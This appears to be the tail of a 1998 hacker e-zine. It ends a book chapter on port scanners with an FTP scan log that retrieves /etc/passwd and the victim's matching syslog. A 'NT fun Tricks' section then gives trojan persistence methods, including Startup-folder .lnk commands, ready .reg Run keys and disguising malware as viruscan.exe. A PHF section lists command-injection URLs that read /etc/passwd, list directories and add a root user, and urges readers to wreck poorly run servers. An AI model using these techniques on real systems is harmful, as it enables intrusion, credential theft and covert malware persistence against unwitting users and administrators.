sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
FTP also proved to be vulnerable (although the importance of this is
questionable):
127.0.0.1: ---- FTP version begin output ----
SamsHack FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
127.0.0.1: ---- FTP version end output ----
127.0.0.1: Please login with USER and PASS.
127.0.0.1: Guest login ok, send your complete e-mail address as password.
127.0.0.1: Please login with USER and PASS.
127.0.0.1: ANONYMOUS FTP ALLOWED
127.0.0.1: Guest login ok, access restrictions apply.
127.0.0.1: "/" is current directory.
127.0.0.1: iss.test: Permission denied.
127.0.0.1: iss.test: Permission denied. (Delete)
127.0.0.1: Entering Passive Mode (127,0,0,1,4,217)
127.0.0.1: Opening ASCII mode data connection for /bin/ls.
127.0.0.1: Transfer complete.
127.0.0.1: Entering Passive Mode (127,0,0,1,4,219)
127.0.0.1: Opening ASCII mode data connection for /etc/passwd (532 bytes).
127.0.0.1: Transfer complete.
127.0.0.1: Files grabbed via FTP into ./127.0.0.1.anonftp.files
127.0.0.1: Goodbye.
As you might have surmised, the passwd file for FTP was grabbed into a file.
Thus, in this chapter, we have identified at least three serious security
weaknesses in SamsHack.net:
In an earlier scan, HTTPD was being run as root, thereby making
SamsHack.net vulnerable to WWW attacks.
SamsHack.net is vulnerable to RSH attacks.
SamsHack.net's FTP directory allows anonymous users to access the
passwd file.
These weaknesses are common to many operating systems in their
out-of-the-box state. In fact, the Linux distribution used to demonstrate
this scan was out of the box. I made no modifications to the installation
whatsoever. Therefore, you can conclude that out-of-the-box Slackware
distributions are not secure.
I have included the entire scan log on the CD-ROM that accompanies this book. Printing it here
would be unreasonable, as it amounts to over 15 pages of information.
You have just seen the basics of scanning a single host. But in reality, a
cracker might scan as many as 200 hosts in a single evening. For such
widespread activity, more resources are required (greater bandwidth, more
RAM, and a more powerful processor). But resources are not the cracker's only
concern; such a scan leaves a huge footprint. We've seen this scan from the
cracker's perspective. Now, let's look at it from the victim's perspective.
The Other Side of the Fence
As I noted earlier, logging capabilities are extremely important. Logs can
often determine not only when and how an attack took place, but also from
where the attack originated.
On November 10, 1996, I conducted a scan identical to the one shown
previously, which was performed on November 14, 1996. The only difference
between the two scans is that on the November 10th scan, I employed not one
but several scanners against the SamsHack server. Those scans and their
activities were reported to the system to the file /var/adm/messages. Take
a look at the output:
Nov 10 21:29:38 SamsHack ps[159]: connect from localhost
Nov 10 21:29:38 SamsHack netstat[160]: connect from localhost
Nov 10 21:29:38 SamsHack in.fingerd[166]: connect from localhost
Nov 10 21:29:38 SamsHack wu.ftpd[162]: connect from localhost
Nov 10 21:29:38 SamsHack in.telnetd[163]: connect from localhost
Nov 10 21:29:39 SamsHack ftpd[162]: FTP session closed
Nov 10 21:29:39 SamsHack in.pop3d[169]: connect from localhost
Nov 10 21:29:40 SamsHack in.nntpd[170]: connect from localhost
Nov 10 21:29:40 SamsHack uucico[174]: connect from localhost
Nov 10 21:29:40 SamsHack in.rlogind[171]: connect from localhost
Nov 10 21:29:40 SamsHack in.rshd[172]: connect from localhost
Nov 10 21:29:40 SamsHack telnetd[163]: ttloop: read: Broken pipe
Nov 10 21:29:41 SamsHack nntpd[170]: localhost connect
Nov 10 21:29:41 SamsHack nntpd[170]: localhost refused connection
Nov 10 21:29:51 SamsHack ps[179]: connect from localhost
Nov 10 21:29:51 SamsHack netstat[180]: connect from localhost
Nov 10 21:29:51 SamsHack wu.ftpd[182]: connect from localhost
Nov 10 21:29:51 SamsHack in.telnetd[183]: connect from localhost
Nov 10 21:29:51 SamsHack in.fingerd[186]: connect from localhost
Nov 10 21:29:51 SamsHack in.pop3d[187]: connect from localhost
Nov 10 21:29:52 SamsHack ftpd[182]: FTP session closed
Nov 10 21:29:52 SamsHack in.nntpd[189]: connect from localhost
Nov 10 21:29:52 SamsHack nntpd[189]: localhost connect
Nov 10 21:29:52 SamsHack nntpd[189]: localhost refused connection
Nov 10 21:29:52 SamsHack uucico[192]: connect from localhost
Nov 10 21:29:52 SamsHack in.rshd[194]: connect from localhost
Nov 10 21:29:52 SamsHack in.rlogind[193]: connect from localhost
Nov 10 21:29:53 SamsHack login: ROOT LOGIN ON tty2
Nov 10 21:34:17 SamsHack ps[265]: connect from pm7-6.pacificnet.net
Nov 10 21:34:17 SamsHack netstat[266]: connect from pm7-6.pacificnet.net
Nov 10 21:34:17 SamsHack wu.ftpd[268]: connect from pm7-6.pacificnet.net
Nov 10 21:34:22 SamsHack ftpd[268]: FTP session closed
Nov 10 21:34:22 SamsHack in.telnetd[269]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.fingerd[271]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack uucico[275]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.pop3d[276]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.rlogind[277]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.rshd[278]: connect from pm7-6.pacificnet.net
Nov 10 21:34:23 SamsHack in.nntpd[279]: connect from pm7-6.pacificnet.net
Nov 10 21:34:28 SamsHack telnetd[269]: ttloop: read: Broken pipe
Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net connect
Nov 10 21:34:28 SamsHack nntpd[279]: pm7-6.pacificnet.net refused connection
Nov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on illegal port
The first thing I want you to notice is the time. The first line of this log
excerpt reports the time as 21:29:38. The last line of the scan reports
21:34:33. Thus, the entire range of activity occurred within a five-minute
period. Next, I want you to take a good look at what's happening here. You
will see that nearly every open, available port has been attacked (some of
them more than once). And, on at least one occasion, the IP address from
which the attack originated appears clearly within the log (specifically,
on the last line of the small snippet of log I have provided). The line
appears as
Nov 10 21:34:33 SamsHack rlogind[277]: Connection from 207.171.17.199 on illegal port
It is quite obvious that any system administrator looking for attacks like
this one needn't look far. Keep in mind that in this example, I was not
running any special logging utilities or wrappers. Just plain, old logging,
which is on by default in a factory install.
So the average system administrator needn't do more than search the
/var/adm/message file (or its equivalent) for runs of connection requests.
However, you will be surprised to know that an overwhelming number of system
administrators do not do this on a regular basis.
Other Platforms
Scanners have traditionally been designed for UNIX. But what about other
operating systems? There are two aspects to consider about scanners with
regard to operating system. The first is what operating system the target
machine runs. The second is what operating system the attacking machine runs.
I want to discuss these in relation to platforms other than UNIX.
The Target Machine As Another Platform
Scanning platforms other than UNIX might or might not be of significant
value. At least, this is true with respect to deployment of TCP port scanners.
This is because the majority of non-UNIX platforms that support TCP/IP support
only portions of TCP/IP. In fact, some of those TCP/IP implementations are
quite stripped down. Frankly, several TCP/IP implementations have support for
a Web server only. (Equally, even those that have support for more might not
evidence additional ports or services because these have been disabled.)
This is the main reason that certain platforms, like the Macintosh platform,
have thus far seen fewer intrusions than UNIX-based operating systems. The
fewer services you actually run, the less likely it is that a hole will be
found. That is common sense.
Equally, many platforms other than UNIX do support extensive TCP/IP. AS/400
is one such platform. Microsoft Windows NT (with Internet Information Server)
is another. Certainly, any system that runs any form of TCP/IP could
potentially support a wide range of protocols. Novell NetWare, for example,
has long had support for TCP/IP.
It boils down to this: The information you will reap from scanning a wide
variety of operating systems depends largely on the construct of the
/etc/services file or the targeted operating system's equivalent. This file
defines what ports and services are available. This subject will discussed
later, as it is relevant to (and implemented differently on) varied
operating systems. In Chapter 18, "Novell," for example, I examine this
file and its uses on the Novell NetWare platform.
The Scanning Machine on Another Platform
Using a platform other than UNIX to perform a scan is another matter. Port
scanning utilities for other platforms are available and, as you might
surmise, we're going to use one momentarily. The product I will be using to
demonstrate this process runs in Windows 95. It is called Network Toolbox.
Network Toolbox
Network Toolbox is a TCP/IP utility for Windows 95. (This program was
discussed earlier in this chapter in the section on network analysis
utilities.) It was developed by J. River Co. of Minneapolis, Minnesota (it
can be reached at info@jriver.com). The utility includes a port scanner. I
will not conduct an exhaustive analysis of other utilities available within
the application (though there are many, including ping). Instead, I would
like to give you a quick start. Figure 9.2 shows opening screen of the
application.
1. Before conducting a scan with Network Toolbox, you must first set
the scan properties. By default, the Network Toolbox port scan only
queries 14 TCP/IP ports. This is insufficient for a complete scan. The
output of a default scan would look like this:
port: 9 discard Service available
port: 13 daytime Service available
port: 21 ftp Service available
port: 23 telnet Service available
port: 25 smtp Service available
port: 37 time Service available
port: 79 finger Service available
port: 80 http Service available
port:110 pop3 Service available
port:111 portmap Service available
port:512 exec Service available
port:513 login Service available
port:514 shell Service available
port:540 uucp Service available
2. To obtain a more comprehensive scan, you must first set the scan's
properties. To do so, click the Options button to call the Options
panel (see Figure 9.3).
Figure 9.2.
The Network Toolbox opening screen.
Figure 9.3.
The Network Toolbox Options panel.
3. After you open the Network Toolbox Options panel, select the tab
marked Port Scanner. This will bring you to options and settings for
the scan (see Figure 9.4).
Figure 9.4.
The Network Toolbox Port Scanner Option tab.
4. The Port Scanner Option tab provides a series of options regarding
ports. One is to specify a range of ports by number. This is very
useful, though I would probably scan all available ports.
5. The last step is to actually scan the targeted host. This is done by
choosing the Scan button shown in Figure 9.5.
Figure 9.5.
Select the Scan button to scan the targeted host.
The port scanner in Network Toolbox is fast and accurate. The average scan
takes less than a minute. I would characterize this as a good product.
Moreover, it provides ports of several other UNIX utilities of interest.
The information gleaned using this utility is quite similar to that obtained
using Strobe. It will not tell you the owner of a process, nor does the
Network Toolbox port scanner try doors or windows. (In other words, it
makes no attempt to penetrate the target network.) However, it is valuable
because it can quickly determine what processes are now running on the target.
Summary
In this chapter, you have learned a little bit about scanners, why they were
developed, and how they work. But education about scanners doesn't stop
there. You might be surprised to know that new scanners crop up every few
months or so, and these are usually more functional than their predecessors.
Internet security is a constantly changing field. As new holes are
discovered, they are posted to various mailing lists, alert rosters, and
newsgroups. Most commonly, such alerts end up at CERT or CIAC. Crackers and
hackers alike belong to such mailing lists and often read CERT advisories.
Thus, these new holes become common knowledge often minutes or hours after
they are posted.
As each new hole is uncovered, capabilities to check for the new hole are
added to existing scanners. The process is not particularly complex. In
most cases, the cracker need only write a small amount of additional code,
which is then pasted into the existing source code of his or her scanner.
The scanner is then recompiled and voil
! The cracker is ready to exploit a
new hole on a wide scale. This is a never-ending process.
System administrators must learn about and implement scanners. It is a fact
of life. Those who fail to do so will suffer the consequences, which can be
very grave. I believe scanners can educate new system administrators as to
potential security risks. If for no other reason than this, scanners are an
important element of Internet security. I recommend trying out as many as
possible.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
7. NT fun Tricks
by mad55
mad55@hotmail.com
September 25, 1998
This is a trick that can be used with NT and zin95
Check to see if you have read/write access to the
C:\winnt\profiles directory.
The following types of programs can be executed by the unsuspecting user at
startup. Keyloggers, and other known exploits such as pwdump and getadmin
could be launched.
New users logging into the system for the first time will automatically
spread the trojan to their profile.
.lnk shortcuts
This is the properties of a evil .lnk file
C:\WINDOWS\COMMAND\START.EXE /m command.com /c mkdir c:\trojan
or to add an entry to the registry:
C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg
NOTE: /m is used to minimize the window another available option is /wait
which will cause the program to wait until the other program exits.
.bat and .cmd batch files.com and .exe executables
.reg registry files can be executed to update or add to the registry
A malicious executable file can be used in:
C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup
NTFS partitions will have these default permissions.
Administrators Full Control
Everyone Read
System Full Control
However remote NetBIOS attacks can be accomplished.
A compromised C$ (administrative share) using a tool like NAT.EXE
NetBIOS Auditing Tool or an ill-advised Everyone/Full Control Share
(which is Microsoft's Default Share Type).
FAT Partitions have no file level security.
New users logging into the system would automatically execute this program
everytime theylogin.
if this is done on NT Workstation the attack will only spread to new users
logging into the workstation locally. If this attack is performed on a NT
domain controller it would spread throughout the domain profiles. It is also
possible to plant the "seed" into existing users profiles.
C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup
Hiding Detection Replace an existing startup program with trojan.
For example, replace McAfee's Antivirus program viruscan.exe with evil
program. Use a shareware utility like microangelo to alter the icon of the
program. Now each time the existing user logs into the machine they would
also execute this code. C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
Falls under the exact same restrictions as the Default user Startup Menu.
.reg files can be made to do the same thing. Example cut and save as
trojan.reg
----cut here--
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VirusScan"="ik.exe"
---cut here--
To get the executable to start before the login process.
----cut here--
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservices]
"VirusScan"="ik.exe"
----cut here--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
8. News on the PHF-Technique
by the file ripper
tfr@gmx.net
September 05, 1998
PHF allows users to gain remote access to files (including the /etc/passwd
file) over the world wide web.
I'm sure, all of you know the very old text from Psychotic on PHF hacking.
Since that time many things changed. Some years ago a script was programmed,
which give out a fake-pwd file on phf-requests, so even if this
technique works and you crack all the passwords you can't be sure if they
really work. But after the release of NT and some other new OS versions,
there are now some other ways how to get the passwordfile,
through a normal http-request.
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd #Psychotic
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd
http://xxx.xxx.xxx/cgi-bin/php.cgi?/etc/passwd
http://xxx.xxx.xxx/cgi-bin/phf?Q=x%0aypcat%20passwd
http://xxx.xxx.xxx/~root
http://xxx.xxx.xxx/cgi-bin/test-cgi?* HTTP/1.0
http://xxx.xxx.xxx/cgi-bin/nph-test-cgi?* HTTP/1.0
http://xxx.xxx.xxx/samples/search/queryhit.html #only Win NT
http://xxx.xxx.xxx/scripts/samples/search/webhits.exe #only Win NT
http://xxx.xxx.xxx/_vti_pvt/service.pwd #only Win NT
http://xxx.xxx.xxx/secret/files/default.asp. #only Win NT
But how do you find a server that has that security hole in it ?
Search in www.altavista.com for "test-cgi".
Background : Most Servers that have the test-cgi flaw in it, also have the
phf security hole in it.
What else are you able to do with phf ?
You can access everything. For example, you can get the dirlisting
of root by typing in :
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/ls%20/
From there, you can just alter it accordingly to have a peek around the
system to see what else you can learn.
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/ls%20/bin
would show you every command that is available in the bin dir. If you
slightly modified it, you would also be able to see the permissions
of the specific files.
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/ls%20-la%20/bin
which can come in handy since, well, seeing as how you have root
permissions you now have a nice little bit of information about how the
system functions can use that to get even more access or information out
of it.
How you don't even need to crack the pwd file :
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/adduser%20tfr%20tfr%20100%20
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/chuid%20tfr%0
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/chuid%20root%500
Do that and you MIGHT have root access to the server by telnet. Be
forewarned that this is an old hack and many servers would not have the
PHF script still running or have chmoded it to 000. This can get you
into a bunch of trouble, so be careful. As I said before, this is well
known and I wouldn't give it out to you unless most system
administrators (if they deserve the title then they know this hack by
heart) knew it as well. But there are always those that don't deserve
the honor of the name, and to those, you have my full consent to fuck up
their machines to hell.
Have phun!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
If you want to join UHA, please take a look into our join-section
on our Homepage!
We are also interested in alliances with other Hacking Groups.
Greetings to gHF, iNsAnE iNc, NuKeM, IHA, D'n'D and all members of UHA.
Shout-Out's!
RobinsonLaw : Thanx for your help with organziation!
WebKeeper : Thanx for hosting our Homepage, pls keep up the good work!
MaD : Man, great UDP-Flooder! Keep up the good work!
Anita : I LOVE YOU!, my darling!
Special Note : All text in this magazine are written by UHA-Members!
-=[ United Hacker Association 1 ]=-
Email : uha1@gmx.net
Homepage : http://www.uha1.com (after the uha is a ONE!)
(if www.uha1.com try http://come.to/UHA)
************************************ EOF ************************************
